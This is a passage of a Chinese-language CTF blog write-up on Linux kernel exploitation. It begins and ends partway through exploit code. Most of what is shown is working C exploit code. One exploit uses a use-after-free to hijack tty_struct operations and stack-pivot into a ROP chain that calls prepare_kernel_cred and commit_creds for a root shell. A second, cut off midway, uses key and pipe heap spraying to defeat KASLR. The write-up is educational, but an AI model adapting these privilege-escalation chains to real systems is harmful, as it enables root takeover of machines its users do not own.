if(getuid() == 0){\n            printf(\"&#91;*]welcome root:\\n\");\n            system(\"\/bin\/sh\");\n            return 0;\n        }\n    }\n    else if(id &lt; 0){\n        printf(\"&#91;*]fork fail\\n\");\n    }\n    else{\n        wait(NULL);\n    }\n    close(fd2);\n    return 0;\n}<\/code><\/pre>\n\n\n\n<p>\u4e0d\u8fc7\u8fd9\u79cd\u65b9\u6cd5\u53ea\u9002\u7528\u4e8e\u8001\u7248\u672c\uff0c\u65b0\u7248\u672c\u5df2\u7ecf\u65e0\u6cd5\u901a\u8fc7\u8be5\u65b9\u6cd5\u5206\u914d\u5230cred object\u4e86\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%96%B9%E6%B3%952_kernel_rop\"><\/span>\u65b9\u6cd52 kernel rop<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<p>ctfwiki\u6253\u6cd5\u662f\u8d4b\u503ccr4\u5173\u6389smep\u7136\u540eret2usr\uff0c\u5177\u4f53\u53ef\u89c1\uff1a<\/p>\n\n\n\n<p>https:\/\/ctf-wiki.org\/pwn\/linux\/kernel-mode\/exploitation\/heap\/slub\/uaf\/<\/p>\n\n\n\n<p>\u6211\u5c31\u76f4\u63a5\u7528ROP\u6253\u4e86\uff0c\u8fd9\u4e2a\u8ddf\u6808\u6ea2\u51fa\u7684\u533a\u522b\u5c31\u662f\uff0c\u6808\u6ea2\u51fa\u53ef\u4ee5\u76f4\u63a5\u5728\u5185\u6838\u6808\u4e0a\u5e03\u7f6eROP\u3002\u800c\u8fd9\u79cd\u901a\u8fc7UAF\u6765\u63a7\u5236\u6307\u9488\u8fdb\u800c\u7a0b\u5e8f\u6267\u884c\u6d41\u7684\uff0c\u4e00\u822c\u5c31\u53ea\u80fd\u628aROP\u94fe\u653e\u7528\u6237\u6001\u7a7a\u95f4\uff0c\u7136\u540e\u628a\u5185\u6838RSP\u52ab\u6301\u8fc7\u6765\u6267\u884c\u3002\uff08\u6240\u4ee5\u53ef\u4ee5\u7ed5\u8fc7SMEP\uff0c\u4f46\u662f\u4e0d\u597d\u7ed5SMAP\u3002\u56e0\u4e3a\u672c\u8d28\u4e0a\u662f\u628a\u5185\u6838gadget\u653e\u5230\u7528\u6237\u6001\uff0c\u7136\u540e\u7528\u5185\u6838\u6765\u8dd1\uff0cSMEP\u662f\u4e0d\u5141\u8bb8\u6267\u884c\u7528\u6237\u6001\u4ee3\u7801\uff0c\u8fd9\u4e2a\u663e\u7136\u6ca1\u6709\u6267\u884c\u7528\u6237\u6001\u4ee3\u7801\uff0c\u4e0d\u5f71\u54cd\uff1b\u4f46SMAP\u4e0d\u5141\u8bb8\u8bbf\u95ee\u7528\u6237\u6001\u4ee3\u7801\uff0c\u6240\u4ee5\u8fd9\u6837\u5c31\u6253\u4e0d\u901a\u4e86\u3002\uff09<\/p>\n\n\n\n<p>\u56e0\u4e3a\u9898\u76ee\u9a71\u52a8\u91cc\u9762\u6ca1\u6709\u80fd\u591f\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41\u7684\u6f0f\u6d1e\uff0c\u6240\u4ee5\u9700\u8981\u628aUAF\u5347\u7ea7\u6210\u63a7\u5236\u6d41\u52ab\u6301\uff0c\u4e00\u822c\u505a\u6cd5\u5c31\u662f\u5229\u7528\u4e00\u4e9b\u7279\u6b8a\u7ed3\u6784\u4f53\uff0c\u8fd9\u79cd\u7ed3\u6784\u4f53\u4e2d\u4f1a\u6709\u6307\u9488\u53d8\u91cf\uff0c\u901a\u8fc7\u7279\u5b9a\u7cfb\u7edf\u8c03\u7528\u53ef\u4ee5\u8c03\u7528\u8be5\u6307\u9488\u53d8\u91cf\u6240\u6307\u5411\u7684\u51fd\u6570\u3002\u6240\u4ee5\u901a\u8fc7UAF\u4fee\u6539\u8be5\u6307\u9488\u53d8\u91cf\uff0c\u518d\u89e6\u53d1\u8be5\u6307\u9488\u7684\u8c03\u7528\u5373\u53ef\u5b9e\u73b0\u63a7\u5236\u6d41\u52ab\u6301\u3002\uff08\u628a\u5806\u6ea2\u51fa\u6216\u8005UAF\u5347\u7ea7\u6210\u4efb\u610f\u5730\u5740\u8bfb\u5199\u539f\u8bed\u4e5f\u662f\u8fd9\u79cd\u601d\u8def\uff0c\u8981\u6c42\u67d0\u4e9b\u5e26\u6709\u957f\u5ea6\u5b57\u6bb5\u7684\u7ed3\u6784\u4f53\uff0c\u901a\u8fc7\u4fee\u6539\u957f\u5ea6\u5b57\u6bb5\uff0c\u89e6\u53d1\u7279\u5b9a\u7cfb\u7edf\u8c03\u7528\u64cd\u4f5c\u5c31\u80fd\u5b9e\u73b0\u8d8a\u754c\u8bfb\u6216\u8005\u5199\uff0c\u8fdb\u800c\u5b9e\u73b0\u5730\u5740\u6cc4\u9732\u6216\u5176\u4ed6\u6548\u679c\u3002 \u8fd9\u4e9b\u5e38\u7528\u7ed3\u6784\u4f53\u53ef\u4ee5\u53c2\u8003ttps:\/\/arttnba3.cn\/2021\/11\/29\/PWN-0X02-LINUX-KERNEL-PWN-PART-II\uff09<\/p>\n\n\n\n<p>\u7531\u4e8etty\u7ed3\u6784\u4f53\u8d77\u59cb\u4f4d\u7f6e\u4f1a\u653e\u5728RAX\u91cc\u9762\uff0c\u6240\u4ee5\u901a\u8fc7MOV RSP,RAX \u8fd9\u79cd\u6307\u4ee4\u5c31\u80fd\u628aRSP\u8fc1\u5230\u7528\u6237\u6001\u7684tty\u7ed3\u6784\u4f53\u5904\uff0c\u5982\u679c\u4e0d\u591f\u5927\u7684\u8bdd\u8fd8\u53ef\u4ee5\u7528 POP RAX; RET\u518d\u8df3\u4e00\u6b21\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/ioctl.h&gt;\n\n\/\/ \u539f\u59cb Gadgets\n#define POP_RDI_RET 0xffffffff810d238d\n#define POP_RAX_RET 0xffffffff8100ce6e\n#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80\n#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5\n#define SWAPGS_POP_RBP_RET 0xffffffff81063694\n#define IRETQ_RET 0xffffffff814e35ef\n\n\/\/ \u65b0\u589e Gadgets\n#define POP_RCX_RET 0xffffffff8100700c\n#define MOV_RDI_RAX_CALL_RCX 0xffffffff8105b084\n\nsize_t commit_creds = 0, prepare_kernel_cred = 0;\nsize_t user_cs, user_ss, user_rflags, user_sp;\n\nvoid saveStatus()\n{\n    __asm__(\"mov user_cs, cs;\"\n            \"mov user_ss, ss;\"\n            \"mov user_sp, rsp;\"\n            \"pushf;\"\n            \"pop user_rflags;\"\n            );\n    printf(\"\\033&#91;34m\\033&#91;1m&#91;*] Status has been saved.\\033&#91;0m\\n\");\n}\n\nvoid getRootShell(void)\n{   \n    if(getuid())\n    {\n        printf(\"\\033&#91;31m\\033&#91;1m&#91;x] Failed to get the root!\\033&#91;0m\\n\");\n        exit(-1);\n    }\n\n    printf(\"\\033&#91;32m\\033&#91;1m&#91;+] Successful to get the root. Execve root shell now...\\033&#91;0m\\n\");\n    system(\"\/bin\/sh\");\n}\n\nint main(void)\n{\n    printf(\"\\033&#91;34m\\033&#91;1m&#91;*] Start to exploit...\\033&#91;0m\\n\");\n    saveStatus();\n\n    \/\/ 1. \u83b7\u53d6\u5185\u6838\u7b26\u53f7\u5730\u5740\n    FILE* sym_table_fd = fopen(\"\/proc\/kallsyms\", \"r\");\n    if(!sym_table_fd)\n    {\n        printf(\"\\033&#91;31m\\033&#91;1m&#91;x] Failed to open the sym_table file!\\033&#91;0m\\n\");\n        exit(-1);\n    }\n    char buf&#91;0x50], type&#91;0x10];\n    size_t addr;\n    while(fscanf(sym_table_fd, \"%lx%s%s\", &amp;addr, type, buf))\n    {\n        if(prepare_kernel_cred &amp;&amp; commit_creds)\n            break;\n\n        if(!commit_creds &amp;&amp; !strcmp(buf, \"commit_creds\"))\n        {\n            commit_creds = addr;\n            printf(\"\\033&#91;32m\\033&#91;1m&#91;+] commit_creds: \\033&#91;0m%lx\\n\", commit_creds);\n        }\n\n        if(!prepare_kernel_cred &amp;&amp; !strcmp(buf, \"prepare_kernel_cred\"))\n        {\n            prepare_kernel_cred = addr;\n            printf(\"\\033&#91;32m\\033&#91;1m&#91;+] prepare_kernel_cred: \\033&#91;0m%lx\\n\", prepare_kernel_cred);\n        }\n    }\n    fclose(sym_table_fd);\n\n    \/\/ 2. \u6784\u9020 ROP \u94fe\n    size_t rop&#91;0x40], p = 0;\n\n    \/\/ --- Step 1: prepare_kernel_cred(0) ---\n    \n    rop&#91;p++] = POP_RDI_RET;\n    rop&#91;p++] = 0;\n    rop&#91;p++] = prepare_kernel_cred; \n    \/\/ \u6267\u884c\u5b8c\u540e RAX \u5b58\u653e struct cred*\n\n    \/\/ --- Step 2: \u8f6c\u79fb RAX -&gt; RDI ---\n    \/\/ \u5229\u7528 mov rdi, rax ; call rcx\n    \/\/ \u6280\u5de7\uff1a\u6211\u4eec\u5c06 rcx \u8bbe\u7f6e\u4e3a 'pop rax; ret' Gadget \u7684\u5730\u5740\u3002\n    \/\/ \u8fd9\u6837 call \u538b\u5165\u6808\u7684\u8fd4\u56de\u5730\u5740\u4f1a\u88ab pop rax \u5f39\u51fa\uff0c\u4ece\u800c\u4fee\u6808\u5e73\u8861\uff0c\u7ee7\u7eed\u6267\u884c ROP\u3002\n    rop&#91;p++] = POP_RCX_RET;\n    rop&#91;p++] = POP_RAX_RET;         \/\/ RCX = &amp;pop_rax_ret\n    rop&#91;p++] = MOV_RDI_RAX_CALL_RCX;\n    \/\/ \u6b64\u65f6 RDI = RAX (cred*)\n\n    \/\/ --- Step 3: commit_creds(rdi) ---\n    rop&#91;p++] = commit_creds;\n\n    \/\/ --- Step 4: Return to User Mode ---\n    rop&#91;p++] = SWAPGS_POP_RBP_RET;\n    rop&#91;p++] = 0;                   \/\/ \u586b\u5145 pop rbp\n    rop&#91;p++] = IRETQ_RET;\n    rop&#91;p++] = (size_t)getRootShell;\n    rop&#91;p++] = user_cs;\n    rop&#91;p++] = user_rflags;\n    rop&#91;p++] = user_sp;\n    rop&#91;p++] = user_ss;\n\n    \/\/ 3. \u6784\u9020 Stack Pivot \u8df3\u677f (Fake Ops)\n    \/\/ \u903b\u8f91\u4fdd\u6301\u4e0d\u53d8\uff1afake_op&#91;7] (write) -&gt; Pivot -&gt; fake_op&#91;0] (pop rax) -&gt; fake_op&#91;1] (rop addr) -&gt; Pivot -&gt; ROP Chain\n    size_t fake_op&#91;0x30];\n    for(int i = 0; i &lt; 0x10; i++)\n        fake_op&#91;i] = MOV_RSP_RAX_DEC_EBX_RET;\n\n    fake_op&#91;0] = POP_RAX_RET;\n    fake_op&#91;1] = (size_t)rop; \/\/ \u6307\u5411\u6211\u4eec\u6784\u9020\u597d\u7684 ROP \u94fe\u6570\u7ec4\n\n    \/\/ 4. \u89e6\u53d1\u6f0f\u6d1e\n    int fd1 = open(\"\/dev\/easydev\", 2);\n    int fd2 = open(\"\/dev\/easydev\", 2);\n\n    ioctl(fd1, 0x10001, 0x2e0);\n    close(fd1);\n\n    size_t fake_tty&#91;0x20];\n    int fd3 = open(\"\/dev\/ptmx\", 2);\n    \n    \/\/ UAF \u4fee\u6539 ops \u6307\u9488\n    read(fd2, fake_tty, 0x40);\n    fake_tty&#91;3] = (size_t)fake_op;\n    write(fd2, fake_tty, 0x40);\n\n    \/\/ \u89e6\u53d1\u52ab\u6301\n    write(fd3, buf, 0x8);\n\n    return 0;\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"RWCTF2023_%E4%BD%93%E9%AA%8C%E8%B5%9B_%E2%80%93_Digging_into_kernel_3\"><\/span>RWCTF2023 \u4f53\u9a8c\u8d5b &#8211; Digging into kernel 3<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u9996\u5148\u4e86\u89e3\u4e00\u4e0b\u5806\u55b7\u5c04\uff08heap spray\uff09\u6280\u672f\uff0c\u5f53\u56e0\u4e3a\u67d0\u4e9b\u539f\u56e0\uff0c\u6211\u4eec\u4e0d\u80fd<strong>\u7a33\u5b9a\u5730<\/strong>\u4f7f\u60f3\u8981\u7684\u7ed3\u6784\u4f53\u62ff\u5230\u60f3\u8981\u7684free object\u65f6\uff0c\u5c31\u53ef\u4ee5\u5927\u91cf\u521b\u5efa\u8be5\u7ed3\u6784\u4f53\u6765\u589e\u52a0\u5206\u914d\u5230\u76ee\u6807object\u7684\u6982\u7387\uff0c\u76f8\u5f53\u4e8e\u4e00\u79cd\u7b80\u5355\u7c97\u66b4\u7684\u4eba\u6d77\u6218\u672f\u3002\u5e38\u89c1\u60c5\u5f62\u6709\uff1a1.\u521b\u5efa\u76ee\u6807\u7ed3\u6784\u4f53\u7684\u8fc7\u7a0b\u4e2d\u4f1a\u540c\u65f6\u521b\u5efa\u540c\u7b49\u5927\u5c0f\u7684\u4e0d\u540c\u7528\u9014\u7ed3\u6784\u4f53\uff0c\u5bfc\u81f4\u6211\u4eec\u60f3\u8981\u7684\u90a3\u4e2a\u7ed3\u6784\u4f53\u4e0d\u80fd\u51c6\u786e\u5730\u5206\u914d\u5230UAF object\u30022. SLAB_FREELIST_RANDOM\u5f00\u542f\uff0cfree\u6389\u7684object\u5e03\u5c40\u53d8\u5f97\u4e0d\u53ef\u9884\u6d4b\u30023. \u9700\u8981\u51c6\u786e\u5730\u5206\u914d\u5230\u4e0e\u67d0\u4e2a\u7279\u5b9a\u7ed3\u6784\u4f53\u76f8\u90bb\u4f4d\u7f6e\u3002<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u9898\u76ee\u7ed9\u4e86\u4e00\u4e2a\u4e0d\u9650\u5236\u5927\u5c0f\u7684UAF\u529f\u80fd\uff0c\u4f46\u662f\u6700\u591a\u53ea\u80fd\u540c\u65f6\u521b\u5efa\u4e24\u4e2aobject\u3002\u4fdd\u62a4\u5168\u5f00\u3002<\/p>\n\n\n\n<p>\u601d\u8def\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p>1\u3001\u901a\u8fc7UAF\u6539\u5199user_key_payload\u7ed3\u6784\u4f53\u7684\u957f\u5ea6\u5b57\u6bb5\uff0c\u89e6\u53d1\u8bfb\u53d6\u64cd\u4f5c\u8d8a\u754c\u8bfb\u6cc4\u9732\u5185\u6838\u57fa\u5740\uff0c\u7ed5\u8fc7KALSR\u3002<\/p>\n\n\n\n<p>2\u3001\u901a\u8fc7UAF\u548c\u5806\u98ce\u6c34\u4f7f\u5f97user_key_payload\u548cpipe_inode_info\u62ff\u5230UAF object 1\uff1b\u4f7f\u5f97pipe_buffer\u62ff\u5230UAF object 0\u3002pipe_inode_info\u4f1a\u6070\u597d\u4fee\u6539user_key_payload\u7684\u957f\u5ea6\u5b57\u6bb5\uff0c\u56e0\u6b64\u89e6\u53d1user_key_payload\u7684\u8bfb\u53d6\u64cd\u4f5c\u5c31\u80fd\u8bfb\u5230\u540e\u9762\u7684*pipe_buffer\uff0c\u5373pipe_buffer\u7ed3\u6784\u4f53\u7684\u5730\u5740\u3002\u7136\u540e\u5728\u7528\u6237\u6001\u6784\u9020rop\u94fe\u5e76\u901a\u8fc7\u9898\u76ee\u7684alloc\u5199\u5165\u5230\u5185\u6838\u4e2d\u7684pipe_buffer\u7ed3\u6784\u4f53\uff0c\u5b8c\u6210\u8986\u76d6\u3002\u6700\u540e\u6267\u884cROP\u94fe\u5373\u53ef\uff0c\u5229\u7528\u7684\u662fpipe_buffer\u7ed3\u6784\u4f53\u7684pipe_buffer_operations-&gt;release\u6307\u9488\uff0c\u76f4\u63a5\u8df3\u5230\u590d\u5236\u8fc7\u53bb\u7684ROP\u94fe\u6240\u5728\u4f4d\u7f6e\u5373\u53ef\u3002\uff08\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48\u8981\u6cc4\u9732pipe_buffer\u7ed3\u6784\u4f53\u7684\u5730\u5740\uff09\uff0cexp\u6765\u81ea\uff1a<\/p>\n\n\n\n<p>https:\/\/ctf-wiki.org\/pwn\/linux\/kernel-mode\/exploitation\/heap\/slub\/spray\/<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#define _GNU_SOURCE\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/ioctl.h&gt;\n#include &lt;sys\/prctl.h&gt;\n#include &lt;sys\/syscall.h&gt;\n#include &lt;sys\/mman.h&gt;\n#include &lt;sys\/wait.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;signal.h&gt;\n#include &lt;pthread.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;ctype.h&gt;\n#include &lt;stdint.h&gt;\n\n\/**\n * Utilities\n * \u5de5\u5177\u4e0e\u5168\u5c40\u53d8\u91cf\u5b9a\u4e49\n *\/\n\n\/\/ kernel_base: \u5185\u6838\u57fa\u5740\uff0c\u521d\u59cb\u503c\u4e3a\u672a\u5f00\u542f KASLR \u65f6\u7684\u57fa\u5740\uff0c\u540e\u7eed\u4f1a\u52a8\u6001\u8ba1\u7b97\n\/\/ kernel_offset: KASLR \u504f\u79fb\u91cf\nsize_t kernel_base = 0xffffffff81000000, kernel_offset = 0;\n\n\/\/ \u9519\u8bef\u5904\u7406\u51fd\u6570\uff1a\u6253\u5370\u9519\u8bef\u4fe1\u606f\u5e76\u9000\u51fa\nvoid err_exit(char *msg){\n    printf(\"\\033&#91;31m\\033&#91;1m&#91;x] Error at: \\033&#91;0m%s\\n\", msg);\n    sleep(5);\n    exit(EXIT_FAILURE);\n}\n\n\/* root checker and shell poper *\/\n\/* \u63d0\u6743\u6210\u529f\u540e\u7684\u56de\u8c03\u51fd\u6570 *\/\nvoid get_root_shell(void){\n    \/\/ \u68c0\u67e5\u5f53\u524d\u7528\u6237 ID\uff0c\u5982\u679c\u4e0d\u662f 0 (root)\uff0c\u8bf4\u660e\u63d0\u6743\u5931\u8d25\n    if(getuid()) {\n        puts(\"\\033&#91;31m\\033&#91;1m&#91;x] Failed to get the root!\\033&#91;0m\");\n        sleep(5);\n        exit(EXIT_FAILURE);\n    }\n    \/\/ \u63d0\u6743\u6210\u529f\uff0c\u542f\u52a8 shell\n    puts(\"\\033&#91;32m\\033&#91;1m&#91;+] Successful to get the root. \\033&#91;0m\");\n    puts(\"\\033&#91;34m\\033&#91;1m&#91;*] Execve root shell now...\\033&#91;0m\");\n    system(\"\/bin\/sh\");\n    \/* to exit the process normally, instead of segmentation fault *\/\n    exit(EXIT_SUCCESS);\n}\n\n\/* userspace status saver *\/\n\/* \u4fdd\u5b58\u7528\u6237\u6001\u4e0a\u4e0b\u6587 *\/\n\/\/ \u7528\u4e8e\u5728\u5185\u6838\u6267\u884c\u5b8c ROP \u540e\uff0c\u901a\u8fc7 swapgs_restore_regs_and_return_to_usermode \u5b89\u5168\u8fd4\u56de\u7528\u6237\u6001\nsize_t user_cs, user_ss, user_rflags, user_sp;\nvoid save_status(){\n    asm volatile(\"mov user_cs, cs;\"\n        \"mov user_ss, ss;\"\n        \"mov user_sp, rsp;\"\n        \"pushf;\"\n        \"pop user_rflags;\"\n    );\n    puts(\"\\033&#91;34m\\033&#91;1m&#91;*] Status has been saved.\\033&#91;0m\");\n}\n\n\/* bind the process to specific core *\/\n\/* \u7ed1\u5b9a CPU \u6838\u5fc3 *\/\n\/\/ Linux SLUB \u5206\u914d\u5668\u662f Per-CPU \u7684\u3002\u5982\u679c\u4e0d\u7ed1\u5b9a\u6838\u5fc3\uff0c\n\/\/ \u7533\u8bf7\u7684\u5bf9\u8c61\u53ef\u80fd\u5728 CPU0\uff0c\u91ca\u653e\u540e\u88ab CPU1 \u7684\u7f13\u5b58\u63a5\u7ba1\uff0c\u5bfc\u81f4 UAF \u5229\u7528\u5931\u8d25\u3002\nvoid bind_core(int core){\n    cpu_set_t cpu_set;\n    CPU_ZERO(&amp;cpu_set);\n    CPU_SET(core, &amp;cpu_set);\n    sched_setaffinity(getpid(), sizeof(cpu_set), &amp;cpu_set);\n    printf(\"\\033&#91;34m\\033&#91;1m&#91;*] Process binded to core \\033&#91;0m%d\\n\", core);\n}\n\n\/**\n * Syscall keyctl() operator\n * Linux Key \u5b50\u7cfb\u7edf\u8c03\u7528\u5c01\u88c5\uff0c\u7528\u4e8e\u5806\u55b7\u5c04\n *\/\n#define KEY_SPEC_PROCESS_KEYRING -2 \/* - key ID for process-specific keyring *\/\n#define KEYCTL_UPDATE           2   \/* update a key *\/\n#define KEYCTL_REVOKE           3   \/* revoke a key *\/\n#define KEYCTL_UNLINK           9   \/* unlink a key from a keyring *\/\n#define KEYCTL_READ             11  \/* read a key or keyring's contents *\/\n\n\/\/ \u7533\u8bf7\u4e00\u4e2a\u65b0\u7684 Key (user_key_payload)\nint key_alloc(char *description, void *payload, size_t plen){\n    return syscall(__NR_add_key, \"user\", description, payload, plen,\n                    KEY_SPEC_PROCESS_KEYRING);\n}\n\nint key_update(int keyid, void *payload, size_t plen){\n    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);\n}\n\n\/\/ \u8bfb\u53d6 Key \u7684\u5185\u5bb9\nint key_read(int keyid, void *buffer, size_t buflen){\n    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);\n}\n\n\/\/ \u64a4\u9500 Key (\u91ca\u653e user_key_payload)\nint key_revoke(int keyid){\n    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);\n}\n\nint key_unlink(int keyid){\n    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);\n}\n\n\/**\n * Challenge interactiver\n * \u9898\u76ee\u4ea4\u4e92\u90e8\u5206\n *\/\n\/* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many *\/\n\/\/ \u5e38\u91cf\u5b9a\u4e49\n#define KEY_SPRAY_NUM 40        \/\/ \u5806\u55b7\u6570\u91cf\uff0c\u7a0d\u5fae\u8d85\u8fc7\u4e00\u4e2a slab page \u7684\u5bb9\u91cf (21\u4e2a\u5bf9\u8c61)\n#define PIPE_INODE_INFO_SZ 192  \/\/ pipe_inode_info \u7ed3\u6784\u4f53\u5927\u5c0f\uff0c\u5c5e\u4e8e kmalloc-192\n#define PIPE_BUFFER_SZ 1024     \/\/ pipe_buffer \u6240\u5728\u9875\u7684\u5927\u5c0f\n\n\/\/ \u5173\u952e Gadget \u548c\u5185\u6838\u7b26\u53f7\u504f\u79fb\uff08\u9700\u8981\u6839\u636e vmlinux \u5bfb\u627e\uff09\n#define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210 \/\/ user_key_payload \u91ca\u653e\u65f6\u7684 RCU \u56de\u8c03\uff0c\u7528\u4e8e\u6cc4\u9732\u57fa\u5740\n#define PREPARE_KERNEL_CRED 0xffffffff81096110   \/\/ \u51c6\u5907\u51ed\u8bc1\n#define COMMIT_CREDS 0xffffffff81095c30          \/\/ \u63d0\u4ea4\u51ed\u8bc1\n\/\/ KPTI \u7ed5\u8fc7\uff1a\u6062\u590d\u5bc4\u5b58\u5668\u5e76\u8fd4\u56de\u7528\u6237\u6001\u7684\u8e66\u5e8a\u5730\u5740\n#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0\n\n\/\/ ROP Gadgets\n\/\/ \u6808\u8fc1\u79fb\u5173\u952e\uff1a\u5c06 RSI (\u6307\u5411 pipe_buffer) \u7684\u503c\u8d4b\u7ed9 RSP\n#define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d\n#define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4\n#define POP_RDI_RET 0xffffffff8106ab4d\n#define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70\n\nint dev_fd; \/\/ \u9898\u76ee\u8bbe\u5907\u53e5\u67c4\n\n\/\/ \u9898\u76ee\u5b9a\u4e49\u7684\u4ea4\u4e92\u7ed3\u6784\u4f53\nstruct node {\n    uint32_t idx;\n    uint32_t size;\n    void *buf;\n};\n\n\/**\n * @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL )\n * \u5c01\u88c5 ioctl \u5206\u914d\u529f\u80fd\n *\/\nvoid alloc(uint32_t idx, uint32_t size, void *buf){\n    struct node n = {\n        .idx = idx,\n        .size = size,\n        .buf = buf,\n    };\n    ioctl(dev_fd, 0xDEADBEEF, &amp;n);\n}\n\n\/\/ \u5c01\u88c5 ioctl \u91ca\u653e\u529f\u80fd (\u6f0f\u6d1e\u70b9\uff1aUAF\uff0c\u91ca\u653e\u540e\u672a\u6e05\u7a7a\u6307\u9488)\nvoid del(uint32_t idx){\n    struct node n = {\n        .idx = idx,\n    };\n    ioctl(dev_fd, 0xC0DECAFE, &amp;n);\n}\n\n\/**\n * Exploit stage\n * \u4e3b\u5229\u7528\u903b\u8f91\n *\/\nint main(int argc, char **argv, char **envp){\n    size_t *buf, pipe_buffer_addr;\n    int key_id&#91;KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id;\n    char desciption&#91;0x100];\n    int pipe_fd&#91;2];\n    int retval;\n\n    \/* fundamental works *\/\n    bind_core(0);   \/\/ \u7ed1\u5b9a\u6838\u5fc3\uff0c\u7a33\u5b9a\u5806\u5e03\u5c40\n    save_status();  \/\/ \u4fdd\u5b58\u7528\u6237\u6001\u5bc4\u5b58\u5668\n    buf = malloc(sizeof(size_t) * 0x4000); \/\/ \u7533\u8bf7\u7528\u6237\u6001\u7f13\u51b2\u533a\n    dev_fd = open(\"\/dev\/rwctf\", O_RDONLY);\n    if (dev_fd &lt; 0) {\n        err_exit(\"FAILED to open the \/dev\/rwctf file!\");\n    }\n\n    \/* construct UAF on user_key_payload *\/\n    \/\/ === \u7b2c\u4e00\u9636\u6bb5\uff1a\u6784\u9020 user_key_payload \u7684 UAF ===\n    puts(\"&#91;*] construct UAF obj and spray keys...\");\n    \n    \/\/ 1. \u7533\u8bf7\u4e00\u4e2a kmalloc-192 \u5bf9\u8c61\n    alloc(0, PIPE_INODE_INFO_SZ, buf);\n    \/\/ 2. \u91ca\u653e\u5b83\uff0c\u5236\u9020\u4e00\u4e2a\u7a7a\u95f2\u5757 (Slot)\n    del(0); \n\n    \/\/ 3. \u5806\u55b7\u5c04\uff1a\u5927\u91cf\u7533\u8bf7 key\u3002\n    \/\/ user_key_payload \u7684\u5934\u90e8\u52a0\u4e0a payload \u521a\u597d\u53ef\u4ee5\u843d\u5728 kmalloc-192 \u4e2d\u3002\n    \/\/ \u671f\u671b\u5176\u4e2d\u4e00\u4e2a key \u521a\u597d\u5360\u636e\u521a\u624d\u91ca\u653e\u7684 slot\u3002\n    for (int i = 0; i &lt; KEY_SPRAY_NUM; i++) {\n        snprintf(desciption, 0x100, \"%s%d\", \"arttnba\", i);\n        \/\/ payload \u957f\u5ea6\u4e3a 192 - 0x18 (header\u5927\u5c0f)\n        key_id&#91;i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);\n        if (key_id&#91;i] &lt; 0) {\n            printf(\"&#91;x] failed to alloc %d key!\\n\", i);\n            err_exit(\"FAILED to add_key()!\");\n        }\n    }\n    \n    \/\/ 4. \u518d\u6b21\u91ca\u653e idx 0\u3002\n    \/\/ \u7531\u4e8e idx 0 \u6307\u5411\u7684\u5185\u5b58\u73b0\u5728\u5df2\u7ecf\u88ab\u67d0\u4e2a key \u5360\u7528\u4e86\uff0c\n    \/\/ \u8fd9\u91cc\u5176\u5b9e\u662f\u5728\u4e0d\u77e5\u9053\u5177\u4f53\u662f\u54ea\u4e2a key \u7684\u60c5\u51b5\u4e0b\uff0c\u5c06\u8be5 key \u7684\u5185\u5b58\u91ca\u653e\u56de freelist (Double Free \u7684\u4e00\u79cd\u5229\u7528\u5f62\u5f0f)\u3002\n    \/\/ \u5b9e\u9645\u4e0a\uff0c\u8fd9\u91cc\u662f\u4e3a\u4e86\u4e0b\u4e00\u6b65\u91cd\u65b0 alloc \u8986\u76d6\u5b83\u505a\u51c6\u5907\u3002\n    del(0);\n\n    \/* corrupt user_key_payload's header *\/\n    \/\/ === \u7b2c\u4e8c\u9636\u6bb5\uff1a\u7be1\u6539 Key \u5934\u90e8\u5b9e\u73b0\u8d8a\u754c\u8bfb ===\n    puts(\"&#91;*] corrupting user_key_payload...\");\n    buf&#91;0] = 0;\n    buf&#91;1] = 0;\n    buf&#91;2] = 0x2000; \/\/ \u4fee\u6539 user_key_payload-&gt;datalen \u4e3a 0x2000 (\u539f\u4e3a ~168)\n\n    \/\/ 5. \u75af\u72c2 alloc\uff0c\u8bd5\u56fe\u91cd\u65b0\u83b7\u53d6\u521a\u624d\u88ab\u91ca\u653e\u7684\u90a3\u4e2a Key \u5bf9\u8c61\u3002\n    \/\/ \u4e00\u65e6\u83b7\u53d6\u6210\u529f\uff0c\u5c31\u4f1a\u7528 buf \u7684\u5185\u5bb9\u8986\u76d6 Key \u7684\u5934\u90e8\u3002\n    \/\/ \u6b64\u65f6\uff0c\u5185\u6838\u8ba4\u4e3a\u8fd9\u4e2a Key \u7684\u957f\u5ea6\u662f 0x2000\u3002\n    for (int i = 0; i &lt; (KEY_SPRAY_NUM * 2); i++) {\n        alloc(0, PIPE_INODE_INFO_SZ, buf);\n    }\n\n    \/* check for oob-read and leak kernel base *\/\n    \/\/ === 